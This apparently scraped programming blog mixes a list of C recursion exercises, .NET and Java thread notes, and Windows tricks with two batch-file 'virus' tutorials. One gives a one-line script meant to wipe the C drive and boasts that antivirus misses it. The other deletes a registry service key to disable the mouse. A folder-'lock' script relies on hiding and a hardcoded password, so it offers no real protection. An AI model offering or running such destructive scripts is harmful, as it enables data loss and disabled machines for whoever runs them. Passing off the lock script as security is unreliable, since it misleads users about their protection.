Thursday, 17 March 2016

Recursive Program List


Recursive Program List in C:-

C Program to find the Length of the String using Recursion 


C Program for Depth First Binary Tree Search using Recursion


C Program to Traverse the Tree Recursively


C Program to Reverse a Stack using Recursion


C Program to Implement Selection Sort Recursively


C Program to Perform Matrix Multiplication using Recursion


C Program to Input Few Numbers & Perform Merge Sort on them using Recursion


C Program to find the Nth Fibonacci Number using Recursion


C Program to find the Biggest Number in an Array of Numbers using Recursion


C Program using Recursion to Search an Element in Array


C Program to Search for an Element in the Linked List using 


Recursion

C Program to Reverse the String using Recursion


C Program to Display the Nodes of a Linked List in Reverse 


using Recursion

C Program Count the Number of Occurrences of an Element 


in the Linked List using Recursion

C Program to Display all the Nodes in a Linked List using 


Recursion

C Program to find Sum of Digits of a Number using Recursion


C Program find the Length of the Linked List using Recursion


C Program to find Reverse of a Number using Recursion


C Program to find Sum of N Numbers using Recursion


C Program to find HCF of a given Number using Recursion


C Program to find Power of a Number using Recursion


C Program to Perform Quick Sort on a set of Entries from a 


File using Recursion

C Program to Solve Tower-of-Hanoi Problem using Recursion


C Program to Copy One String to Another using Recursion


C Program to find whether a Number is Prime or Not using 


Recursion

C Program to find the Factorial of a Number using Recursion


C Program to find LCM of a Number using Recursion


C Program to find Product of 2 Numbers using Recursion


C Program to Check whether a given String is Palindrome or 


not using Recursion

C Program to find GCD of given Numbers using Recursion


C Program to Perform Binary Search using Recursion


C Program to Print Binary Equivalent of an Integer using 


Recursion

C Program to Print the Alternate Nodes in a Linked List using 


Recursion

C Program to Convert a Number Decimal System to Binary 


System using Recursion

C Program to find the First Capital Letter in a String using 


Recursion

C Program to Search an Element in a Tree Recursively

Wednesday, 25 December 2013

.NET Framework Fundamentals


                                .NET Framework Fundamentals

.NET FRAMEWORK

DESCRIPTION

Programs written for the .NET Framework execute in a software environment that manages the program’s runtime requirements. Also part of the .NET Framework, this runtime environment is known as the Common Language Runtime (CLR).

PRINCIPAL DESIGN FEATURES

INTEROPERABILITY

Because computer systems commonly require interaction between new and older applications, the .NET Framework provides means to access functionality that is implemented in programs that execute outside the .NET environment. Access toCOM components is provided in the System.Runtime.InteropServices and System.EnterpriseServices namespaces of the framework; access to other functionality is provided using theP/Invoke feature.

COMMON RUNTIME ENGINE

The Common Language Runtime (CLR) is the execution engine of the .NET Framework. All .NET programs execute under the supervision of the CLR, guaranteeing certain properties and behaviors in the areas of memory management, security, and exception handling.

LANGUAGE INDEPENDENCE

The .NET Framework introduces a Common Type System, or CTS. The CTSspecification defines all possibledatatypes and programming constructs supported by the CLR and how they may or may not interact with each other conforming to theCommon Language Infrastructure (CLI) specification. Because of this feature, the .NET Framework supports the exchange of types and object instances between libraries and applications written using any conforming .NET language.

BASE CLASS LIBRARY

The Base Class Library (BCL), part of the Framework Class Library (FCL), is a library of functionality available to all languages using the .NET Framework. The BCL provides classes which encapsulate a number of common functions, includingfile reading and writing, graphic rendering, database interaction, XML document manipulation and so on.

SIMPLIFIED DEPLOYMENT

The .NET Framework includes design features and tools that help manage theinstallation of computer software to ensure that it does not interfere with previously installed software, and that it conforms to security requirements.

SECURITY

The design is meant to address some of the vulnerabilities, such as buffer overflows, that have been exploited by malicious software. Additionally, .NET provides a common security model for all applications.

PORTABILITY

The design of the .NET Framework allows it to theoretically be platform agnostic, and thus cross-platformcompatible. That is, a program written to use the framework should run without change on any type of system for which the framework is implemented.

ARCHITECTURE

COMMON LANGUAGE INFRASTRUCTURE (CLI)

The purpose of the Common Language Infrastructure (CLI), is to provide a language-neutral platform for application development and execution

.NET STACK

WHAT IS .NET AND Why .NET

                                                    WHAT IS .NET AND WHY  .NET

  1. What is .NET?
  2. Why .NET?
  3. Microsoft's .NET Framework
  4. CLR, CTS and CLS - an Overview
  5. .NET Framework Class library
  6. .NET compliant Languages and
  7. C# - a brief introduction
Introduction
The .NET Platform and .NET-Aware Programming Languages, particularly C# are already making a turnaround in the way Applications are developed in the enterprise world. This new programming model is a boon for building XML Web Services and applications. Say it may be Web Applications, XML Web Services, desktop or mobile applications; .NET Framework has got every thing you need to develop these applications with excellent performance and throughput. Moreover Microsoft's IDE, Visual Studio .NET, comforts the user by providing a cool development environment. The .NET Platform is the world order of Windows development and it is possible for non-Windows development in the future.
The .NET Framework allows different programming languages & libraries to work together seamlessly which is made possible by the Common Type System. Microsoft has developed a new language named c# specifically for this new platform which will not come under the scope of this article, anyway I will get you started with C# and specify, why it is the programming language most suited for the .NET platform! 

What is .NET any way?
.NET is Microsoft's innovative strategy to simplify building XML Web Services and to develop, deploy, and maintain desktop, enterprise, Internet and Smart devices applications in the Internet age.
The .NET platform is thus a runtime environment on which applications coded in any of the managed languages run. It acts as a software layer between the applications written on the .NET and the operating system. For the time being, the operating systems can be any of the Windows platforms. 
Cool right! To make you feel more clear and comfortable, the term .NET actually means the set of tools and technologies as follows:

DotNET.gif
Fig 1: Microsoft .NET
The .NET Framework is the keystone of Microsoft .NET. The .Microsoft's .NET vision of connecting information, people, systems, and devices is made true by the .NET Framework.
Why .NET?The most beauty in .NET is that we don't have to learn a new language to program on the .NET platform. The platform is very much language agnostic and there are only a few syntactical issues to start programming in a language for the .NET platform.
.NET platform presents us with the following:
  • Multiple Language Development.
  • Robust runtime environment, CLR.
  • Cool Development environment, Visual Studio .NET.
  • High level of communication among applications.
  • Support for ubiquitous protocols namely SOAP, XML, HTTP, and HTML.
  • A huge and powerful class library with over 2000 classes.
And many more! 
.NET FrameworkThe term .NET framework stands for the collection of technologies that form the development basis for the Microsoft .NET platform. 
It is a development and execution environment that allows different programming languages & libraries to work together effortlessly to create Windows-based applications that are easier to build, manage, and deploy. 
The major constitutes of .NET Framework are:
  • Framework Class Libraries (FCL)
  • Common Language Runtime (CLR) and
  • Common Language Specification (CLS)
DotNETFramework.gif

Fig 2: .NET Framework
The .NET Framework uses standard Internet protocols and specifications like TCP/IP, SOAP, XML, & HTTP to allow a broad range of information, people, systems, and devices to be connected.
Now let's look at the components of .NET Framework. 
Framework Class Library (FCL)The Framework class library is vast. It comprises of over 2,000 classes. The Framework Class Library consists of the following main parts:
  • The Base Class Library
  • Windows Forms
  • ASP.NET Web Forms
  • ASP.NET Web Services
  • Data and XML classes
The Base Class Library comprises Security, Networking, Diagnostics, I/O, and other types of Operating Systems services. 
Common Language Specifications (CLS)One of the important goals of .NET Framework is to support Multiple Languages. This is achieved by CLS. For multiple languages to interoperate, it is necessary that they should go on in common in certain features such as Types that are used. For e. g. Every Language has its own Size and range for different data types. Thus CLS is the agreement among language designers and class library designers concerning these usage conventions. 
Common Language Runtime (CLR)CLR is the runtime provided by .NET. It allows us to execute programs on the .NET platform. The CLR provides:
  • Simple Application Development
  • Safety (because it does most of the runtime checking)
  • Easy Deployment
  • Multiple Languages support and
  • Good Performance
The good performance is achieved by JIT (Just-in-Time) compilation built into CLR. The first time a method is encountered; the CLR performs the verifications, calls the JIT which converts the IL into native code. The next time the method is encountered, the native code executes directly. The following will make you clearer.
The process of programming in the .NET environment is:
  1. Do the code in any .NET compliant high-level language
  2. Compile it using the corresponding language's compiler
  3. Run the IL
process.gif

Fig 3: Design of CLR
We must also be aware of some more terminologies to get started with .NET which are as follows:
AssembliesThese are a grouping of types n resources that work together as a logical unit. It consists of
  • MSIL (the Intermediate Language)
  • Meta Data (describing the types used in the program)
  • Manifest (relation ship between the elements listed in the assembly)

ManifestA manifest describes the relationship between the elements in the assembly and to the external elements. You can use the ildasm.exe tool to disassemble an assembly.
Getting Started with C#!
Getting started with C# is very easy; if you have a little bit of programming background in OOPS and C or Java. C# is the best programming language for the .NET platform. It has been specifically designed for the .NET platform. C# takes the advantages of the .NET platform to the full. The runtime environment provided by .NET, CLR manages the execution of code and provides a lot of useful services. Not all .NET compliant languages make the most of CLR; C# utilizes CLR, the Best!


As usual, a typical starter program in C# will be as follows:

using System;namespace ConsoleApplication1 //similar to packages in Java {class Class1
{
public static void Main(string[] args)
{
Console.WriteLine("Hi, Welcome to C#");
}
}
} 
If we build and run the above program using Visual Studio .NET, the output in the console will be as follows:

OUTPUT.gif
Fig 4: Output Window of our simple program
We can use the ildasm.exe over the assembly of the above program for more vividness.

output2.gif
Fig 5: Invoking ILDASM

ILDASM.gif

DOT NET FRAMEWORK

DOT NET FRAMEWORK




Thread Life Cycle in java

                       Thread Life Cycle

Thread has many different state through out its life.
1 Newborn State
2 Runnable State
3 Running State
4 Blocked State
5 Dead State
Thread should be in any one state of above and it can be move from one state to another by different methods and ways.
Java2All.Com
1 Newborn State
When we create a thread it will be in Newborn State.
The thread is just created still its not running.
We can move it to running mode by invoking the start() method and it can be killed by using stop() method.
Java2All.Com
2 Runnable State
It means that thread is now ready for running and its waiting to give control.
We can move control to another thread by yield() method.
Java2All.Com
3 Running State
It means thread is in its execution mode becaause the control of cpu is given to that particular thread.
It can be move in three different situation from running mode.
Java2All.Com
These all are different methods which can be apply on running thread and how the state is changing and how we can come in our original previous state using different methods are shown in above figure.
4 Blocked State
A thread is called in Blocked State when it is not allowed to entering in Runnable State or Running State.
It happens when thread is in waiting mode, suspended or in sleeping mode.
5 Dead State
When a thread is completed executing its run() method the life cycle of that particular thread is end.
We can kill thread by invoking stop() method for that particular thread and send it to be in Dead State.
- See more at: http://www.java2all.com/1/1/17/94/Technology/CORE-JAVA/Multithreading/Thread-Life-Cycle#sthash.eL3Vae7r.dpuf

ANDROID LIFE CYCLE

                                                         ANDROID LIFE CYCLE



Sunday, 22 December 2013

ASP.NET LIFE CYCLE


                                                               ASP.NET LIFE CYCLE




Thursday, 12 December 2013

Create A Undeletable And Unrenamable Folders In Windows


creating undeleteable files
Create an undeletable and unrenamable Folders In Windows operating system. Most of the Peoples are not aware that it is possible to create Undeletable, Unrenamable folder in windows without any software. To Test this concept just follow simple steps given below.

Try to make a new folder in windows & give it name con,aux, lpt1, lpt2, lpt3 up to lpt9. you won't be allowed to create folder with above mentioned names, Because they are reserved words in windows.

How To Create Undeletable And Unrenamable Folders ?

  1. Go to Start and then Click on Run
  2. Type cmd & hit enter (To open Command Prompt ).
  3. Remember you cannot create Undeletable & unrenamable folder in your root directory (i.e. where the windows is installed) That means you can't make this kind of folder in C: drive if you installed windows on C:
  4. Type D: or E: and hit enter
  5. Type md con\ and hit enter (md - make directory)
  6. You may use other words such as aux, lpt1, lpt2, lpt3 up to lpt9 instead of con in above step.
  7. Open that directory, you will see the folder created of name con.
  8. Try to delete that folder or rename that folder windows will show the error message.

How to delete that folder ?

It is not possible to delete that folder manually but you can delete this folder by another way mentioned below.
  1. Open Command Prompt
  2. Type D: ( if u created this type of folder in D: drive) & hit enter
  3. Type rd con\ (rd - remove directory)
  4. Open that directory and the folder will not appear because it is removed.



How To Disable Right Click On Your Website Or Blog ?


 Disable Right Click for blog
If you own a blog or a website then you always want to prevent other malicious bloggers from copying the content from your blog. You might have written an article with great efforts and lots of research and other just copy/paste it on their blog. To prevent such users from copying content from your blog i will show you Javascript Trick to disable right click on your blog. So lets get started.

How To Disable Right Click On Your Blog ?

 1. Got to your blogger Dashboard and then Click on Layout.
blogger widget
 2. Now Click on Add Gadget and select Html/Javascript.
blogger widget
 3. Now paste code given below in the pop up window.
<!--MBW Code-->
<script language='JavaScript1.2'>
function disableselect(e){
return false
}
function reEnable(){
return true
}
document.onselectstart=new Function ("return false")
if (window.sidebar){
document.onmousedown=disableselect
document.onclick=reEnable
}
</script>
<!--Code End http://itoceanindia.blogspot.in>
 4. Save it and done. Now users will not be able to right click on your website.
 5. If you like to disable mouse on your computer then check out tutorial given below.













Learn To Make Dangerous Virus In A Minute


 Make simple yet very powerfull or you can say harmfull computer virus using a batch file. No software is required to make this virus, Noteapad is enough for it. The good thing about this virus is it is not detected by any AntiVirus.


What will this virus do ?  

You will create this virus using batch file programming. This virus will delete the C Drive completely. The good thing about this virus is that it is not detected by antivirus. If you want to learn more about batch programming visit my post about Learn Batch Programming.

How to Make the virus ?

   1. Open Notepad and copy below code into it.
@Echo off
Del C:\ *.* |y

   2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.  (Change C   to D  for D drive)









How to open number of sites with one click ?


 

             How to make a batch file which will open number of websites with just one click. You can also use this method to open different computer programmes like internet explorer, notepad etc.

  • Open Notepad and copy below codes
@echo off
start www.itoceanindia.blogspot.com/
start www.google.com
start www.facebook.com
  • Save this file as batch.bat
  • Now open your save file and it will open three websites wilth just one click.
  • You can also add more sites by writting Start followed by websites


Make a virus that disable Mouse



A batch virus which is harmfull it will disable your mouse so think before trying it on yourself.

  • Open Notepad and copy below codes
rem ---------------------------------
rem Disable Mouse
set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass"
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ---------------------------------
  • Save this file as  virus.bat
  • Done you just created your virus.
 
 
 
 
 

Password Protect Any Folder Without Any Software



How To Lock Folder ?

   1. Open Notepad and Copy code given below into it.
cls
@ECHO OFF
title coolhacking-tricks.blogspot.com
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST MyFolder goto MDMyFolder
:CONFIRM
echo Are you sure to lock this folder? (Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid choice.
goto CONFIRM
:LOCK
ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder locked
goto End
:UNLOCK
echo Enter password to Unlock Your Secure Folder
set/p "pass=>"
if NOT %pass%== itocean goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" MyFolder
echo Folder Unlocked successfully
goto End
:FAIL
echo Invalid password
goto end
:MDMyFolder
md MyFolder
echo MyFolder created successfully
goto End
:End
   2. Save the notepad file as lock.bat (.bat is must)
   3. Now double click on lock.bat and a new folder will be created with name MyFolder
   4. Copy all your data you want to protect in that New folder
   5. Now double click on lock.bat and when command promp appears Type Y and press enter.
   6. Now MyFolder will be hidden from you view, to access that folde double click on lock.bat
   7. It will ask for password enter your password and done. (Default password is itocean)
  • To change the password replace itocean with  new password in the above code

Tuesday, 10 December 2013

Customize the Power Button



If you restart your computer more often than you shut it down, change the default Shutdown power button to Restart. Right-click on Start, select Properties, and choose the Power button action that you use the most.